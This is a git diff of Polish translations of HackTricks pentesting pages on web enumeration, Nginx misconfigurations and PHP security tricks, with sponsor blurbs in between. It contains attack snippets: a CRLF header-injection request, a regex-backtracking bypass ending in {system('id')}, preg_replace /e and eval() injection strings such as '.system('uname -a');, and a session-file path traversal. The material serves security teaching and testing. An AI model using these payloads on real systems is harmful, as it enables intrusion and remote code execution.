* **Pliki JS**: W sekcji spideringu wspomniano o kilku narzędziach, które mogą wyodrębnić ścieżki z plików JS. Również, interesujące byłoby **monitorowanie każdego znalezionego pliku JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna luka została wprowadzona w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Powinieneś również sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
|
||||
* **Deobfuscator i Unpacker JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
* **Beautifier JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
|
@ -339,7 +339,7 @@ Możesz **zautomatyzować** to, używając **pluginu nmap** "_http-ntlm-info.nse
|
|||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w tym miejscu.
|
||||
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w środku.
|
||||
|
||||
### Sprawdzanie luk w sieci
|
||||
|
||||
|
@ -349,7 +349,7 @@ Teraz, gdy przeprowadzono kompleksową enumerację aplikacji webowej, czas spraw
|
|||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Więcej informacji o lukach w sieci znajdziesz na:
|
||||
Znajdź więcej informacji o lukach w sieci na:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -361,9 +361,9 @@ Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -447,7 +447,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
## Brak lokalizacji root <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below:
|
||||
Podczas konfigurowania serwera Nginx, **dyrektywa root** odgrywa kluczową rolę, definiując katalog bazowy, z którego serwowane są pliki. Rozważ poniższy przykład:
|
||||
```bash
|
||||
server {
|
||||
root /etc/nginx;
|
||||
|
@ -102,7 +102,7 @@ location / {
|
|||
return 302 https://example.com$uri;
|
||||
}
|
||||
```
|
||||
Znaki \r (Carriage Return) i \n (Line Feed) oznaczają znaki nowej linii w żądaniach HTTP, a ich formy zakodowane w URL są reprezentowane jako `%0d%0a`. Włączenie tych znaków w żądaniu (np. `http://localhost/%0d%0aDetectify:%20clrf`) do źle skonfigurowanego serwera skutkuje tym, że serwer wydaje nowy nagłówek o nazwie `Detectify`. Dzieje się tak, ponieważ zmienna $uri dekoduje zakodowane w URL znaki nowej linii, co prowadzi do nieoczekiwanego nagłówka w odpowiedzi:
|
||||
Znaki \r (Carriage Return) i \n (Line Feed) oznaczają znaki nowej linii w żądaniach HTTP, a ich zakodowane w URL formy są reprezentowane jako `%0d%0a`. Włączenie tych znaków w żądaniu (np. `http://localhost/%0d%0aDetectify:%20clrf`) do źle skonfigurowanego serwera skutkuje tym, że serwer wydaje nowy nagłówek o nazwie `Detectify`. Dzieje się tak, ponieważ zmienna $uri dekoduje zakodowane w URL znaki nowej linii, co prowadzi do nieoczekiwanego nagłówka w odpowiedzi:
|
||||
```
|
||||
HTTP/1.1 302 Moved Temporarily
|
||||
Server: nginx/1.19.3
|
||||
|
@ -114,12 +114,12 @@ Detectify: clrf
|
|||
```
|
||||
Dowiedz się więcej o ryzykach związanych z wstrzykiwaniem CRLF i dzieleniem odpowiedzi na [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||
|
||||
Ta technika jest [**wyjaśniona w tej prezentacji**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) z przykładami podatności i mechanizmami wykrywania. Na przykład, aby wykryć tę błędną konfigurację z perspektywy czarnej skrzynki, możesz użyć tych żądań:
|
||||
Ta technika jest również [**wyjaśniona w tej prezentacji**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) z przykładami podatności i mechanizmami wykrywania. Na przykład, aby wykryć tę błędną konfigurację z perspektywy czarnej skrzynki, możesz użyć tych żądań:
|
||||
|
||||
* `https://example.com/%20X` - Dowolny kod HTTP
|
||||
* `https://example.com/%20H` - 400 Bad Request
|
||||
|
||||
Jeśli jest podatny, pierwsze zwróci, ponieważ "X" jest dowolną metodą HTTP, a drugie zwróci błąd, ponieważ H nie jest prawidłową metodą. Serwer otrzyma coś takiego: `GET / H HTTP/1.1`, co spowoduje wywołanie błędu.
|
||||
Jeśli jest podatny, pierwsze zwróci jako "X", ponieważ X to dowolna metoda HTTP, a drugie zwróci błąd, ponieważ H nie jest prawidłową metodą. Serwer otrzyma coś takiego: `GET / H HTTP/1.1`, co spowoduje wywołanie błędu.
|
||||
|
||||
Inne przykłady wykrywania to:
|
||||
|
||||
|
@ -128,7 +128,7 @@ Inne przykłady wykrywania to:
|
|||
|
||||
Niektóre znalezione podatne konfiguracje przedstawione w tej prezentacji to:
|
||||
|
||||
* Zauważ, jak **`$uri`** jest ustawione tak, jak jest w końcowym URL
|
||||
* Zauważ, jak **`$uri`** jest ustawione tak, jak jest w ostatecznym URL
|
||||
```
|
||||
location ^~ /lite/api/ {
|
||||
proxy_pass http://lite-backend$uri$is_args$args;
|
||||
|
@ -148,17 +148,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Any variable
|
||||
|
||||
Odkryto, że **dane dostarczone przez użytkownika** mogą być traktowane jako **zmienna Nginx** w określonych okolicznościach. Przyczyna tego zachowania pozostaje nieco niejasna, jednak nie jest to rzadkie ani proste do weryfikacji. Ta anomalia została podkreślona w raporcie bezpieczeństwa na HackerOne, który można zobaczyć [tutaj](https://hackerone.com/reports/370094). Dalsze badania nad komunikatem o błędzie doprowadziły do zidentyfikowania jego wystąpienia w [module filtra SSI w kodzie Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wskazując na Server Side Includes (SSI) jako przyczynę.
|
||||
Odkryto, że **dane dostarczone przez użytkownika** mogą być traktowane jako **zmienna Nginx** w określonych okolicznościach. Przyczyna tego zachowania pozostaje nieco niejasna, jednak nie jest to rzadkie ani łatwe do zweryfikowania. Ta anomalia została podkreślona w raporcie bezpieczeństwa na HackerOne, który można zobaczyć [tutaj](https://hackerone.com/reports/370094). Dalsze badania komunikatu o błędzie doprowadziły do identyfikacji jego wystąpienia w [module filtra SSI w kodzie Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), wskazując na Server Side Includes (SSI) jako przyczynę.
|
||||
|
||||
Aby **wykryć tę błędną konfigurację**, można wykonać następujące polecenie, które polega na ustawieniu nagłówka referer w celu przetestowania drukowania zmiennej:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
Skany w poszukiwaniu tej niewłaściwej konfiguracji w różnych systemach ujawniły wiele przypadków, w których zmienne Nginx mogły być wyświetlane przez użytkownika. Jednak spadek liczby podatnych przypadków sugeruje, że wysiłki na rzecz naprawienia tego problemu były w pewnym stopniu skuteczne.
|
||||
Skany w poszukiwaniu tej niewłaściwej konfiguracji w systemach ujawniły wiele przypadków, w których zmienne Nginx mogły być wyświetlane przez użytkownika. Jednak spadek liczby podatnych przypadków sugeruje, że wysiłki na rzecz naprawienia tego problemu były w pewnym stopniu skuteczne.
|
||||
|
||||
## Odczyt surowej odpowiedzi backendu
|
||||
|
||||
Nginx oferuje funkcję poprzez `proxy_pass`, która pozwala na przechwytywanie błędów i nagłówków HTTP generowanych przez backend, mając na celu ukrycie wewnętrznych komunikatów o błędach i nagłówków. Osiąga się to poprzez serwowanie przez Nginx niestandardowych stron błędów w odpowiedzi na błędy backendu. Jednak pojawiają się wyzwania, gdy Nginx napotyka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w takiej formie, w jakiej zostało odebrane, a surowa odpowiedź backendu jest następnie bezpośrednio wysyłana do klienta bez interwencji Nginx.
|
||||
Nginx oferuje funkcję poprzez `proxy_pass`, która umożliwia przechwytywanie błędów i nagłówków HTTP generowanych przez backend, mając na celu ukrycie wewnętrznych komunikatów o błędach i nagłówków. Osiąga się to poprzez serwowanie przez Nginx niestandardowych stron błędów w odpowiedzi na błędy backendu. Jednak pojawiają się wyzwania, gdy Nginx napotyka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w takiej formie, w jakiej zostało odebrane, a surowa odpowiedź backendu jest następnie bezpośrednio wysyłana do klienta bez interwencji Nginx.
|
||||
|
||||
Rozważmy przykładowy scenariusz z aplikacją uWSGI:
|
||||
```python
|
||||
|
@ -174,7 +174,7 @@ proxy_intercept_errors on;
|
|||
proxy_hide_header Secret-Header;
|
||||
}
|
||||
```
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ta dyrektywa umożliwia Nginxowi serwowanie niestandardowej odpowiedzi dla odpowiedzi backendu z kodem statusu większym niż 300. Zapewnia, że w naszym przykładzie aplikacji uWSGI odpowiedź `500 Error` jest przechwytywana i obsługiwana przez Nginx.
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ta dyrektywa umożliwia Nginxowi serwowanie niestandardowej odpowiedzi dla odpowiedzi backendu z kodem statusu większym niż 300. Zapewnia, że w przypadku naszej aplikacji uWSGI odpowiedź `500 Error` jest przechwytywana i obsługiwana przez Nginx.
|
||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Jak sama nazwa wskazuje, ta dyrektywa ukrywa określone nagłówki HTTP przed klientem, zwiększając prywatność i bezpieczeństwo.
|
||||
|
||||
Gdy zostanie wysłane ważne żądanie `GET`, Nginx przetwarza je normalnie, zwracając standardową odpowiedź błędu bez ujawniania jakichkolwiek tajnych nagłówków. Jednak nieprawidłowe żądanie HTTP omija ten mechanizm, co skutkuje ujawnieniem surowych odpowiedzi backendu, w tym tajnych nagłówków i komunikatów o błędach.
|
||||
|
@ -266,7 +266,7 @@ Zauważ, że nawet jeśli `proxy_pass` wskazywał na konkretną **ścieżkę** t
|
|||
|
||||
## Spróbuj sam
|
||||
|
||||
Detectify stworzył repozytorium na GitHubie, w którym możesz użyć Dockera, aby skonfigurować własny podatny serwer testowy Nginx z niektórymi z omówionych w tym artykule błędów konfiguracyjnych i spróbować je znaleźć samodzielnie!
|
||||
Detectify stworzył repozytorium na GitHubie, w którym możesz użyć Dockera do skonfigurowania własnego podatnego serwera testowego Nginx z niektórymi z omówionych w tym artykule błędów konfiguracyjnych i spróbować je znaleźć samodzielnie!
|
||||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
|
@ -288,9 +288,9 @@ Nginxpwner to proste narzędzie do wyszukiwania powszechnych błędów konfigura
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne podatności mające rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne podatności mające rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -304,7 +304,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,20 +10,20 @@ Ucz się i ćwicz Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt=
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Typowa lokalizacja ciasteczek:
|
||||
## Wspólna lokalizacja ciasteczek:
|
||||
|
||||
To również dotyczy ciasteczek phpMyAdmin.
|
||||
|
||||
|
@ -43,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### Luźne porównania/Typ Juggling ( == )
|
||||
|
||||
Jeśli `==` jest używane w PHP, to istnieją nieoczekiwane przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, że typ porównywanych danych jest taki sam, musisz użyć `===`.
|
||||
Jeśli `==` jest używane w PHP, istnieją nieoczekiwane przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, że typ porównywanych danych jest taki sam, musisz użyć `===`.
|
||||
|
||||
Tabele porównań PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
|
@ -55,7 +55,7 @@ Tabele porównań PHP: [https://www.php.net/manual/en/types.comparisons.php](htt
|
|||
* `"0xAAAA" == "43690" -> True` Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)
|
||||
* `"0e3264578" == 0 --> True` Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0
|
||||
* `"0X3264578" == 0X --> True` Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0
|
||||
* `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować wejście ciągu "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0e12334" == "0" --> True` To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować wejście ciągu "0" i niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Dowolna litera w ciągu jest równa int 0
|
||||
|
||||
Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -93,7 +93,7 @@ Nawet jeśli `===` jest **używane**, mogą wystąpić błędy, które sprawiaj
|
|||
|
||||
#### Ominięcie nowej linii
|
||||
|
||||
Jednakże, przy delimitacji początku regexp `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść to sprawdzenie. Przykład:
|
||||
Jednakże, przy delimitacji początku regexp `preg_match()` **sprawdza tylko pierwszą linię danych wejściowych użytkownika**, więc jeśli w jakiś sposób możesz **wysłać** dane wejściowe w **kilku liniach**, możesz być w stanie obejść tę kontrolę. Przykład:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -129,12 +129,12 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na bibliotece [PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||
Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie.
|
||||
|
||||
[Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\
|
||||
**Wysłać dane wejściowe, które spowodują, że regex wykona 100\_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, rzucając niespodziankę na końcu ładunku coś w stylu `{system(<verybadcommand>)}` aby uzyskać SSTI --> RCE --> flagę :)**.
|
||||
**Wysłać dane wejściowe, które spowodują, że regex wykona 100\_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w stylu `{system(<verybadcommand>)}` w celu uzyskania SSTI --> RCE --> flagi :)**.
|
||||
|
||||
Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1\_000\_000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
||||
Cóż, w terminach regex nie wykonujemy faktycznie 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynoszą 1\_000\_000 (1M) w zmiennej `pcre.backtrack_limit`.\
|
||||
Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu):
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
|
@ -172,15 +172,15 @@ Sprawdź:
|
|||
|
||||
## Więcej sztuczek
|
||||
|
||||
* **register\_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register\_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych, takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne** używane w kodzie.
|
||||
* **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **różne ciasteczka są używane w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
|
||||
* **register\_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register\_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne** używane w kodzie.
|
||||
* **Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **różne ciasteczka są używane w różnych ścieżkach**, możesz sprawić, że jedna ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\
|
||||
W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna za ważne zmienne z path1 (nadając ciasteczku nazwę, która odpowiada jej w path2).
|
||||
* Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\<USERNAME>**, aby zobaczyć, czy katalogi php są aktywowane.
|
||||
* [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/)
|
||||
* [**LFI i RCE używając wrapperów php**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
|
||||
Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** oraz do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\
|
||||
Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD\_DEFAULT często jest tym samym co PASSWORD\_BCRYPT.** A obecnie, **PASSWORD\_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
|
@ -232,7 +232,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\
|
||||
Ta opcja preg\_replace została **wycofana od PHP 5.5.0.**
|
||||
|
||||
### **RCE za pomocą Eval()**
|
||||
### **RCE via Eval()**
|
||||
```
|
||||
'.system('uname -a'); $dummy='
|
||||
'.system('uname -a');#
|
||||
|
@ -282,7 +282,7 @@ Aby odkryć liczbę nawiasów, które musisz zamknąć:
|
|||
|
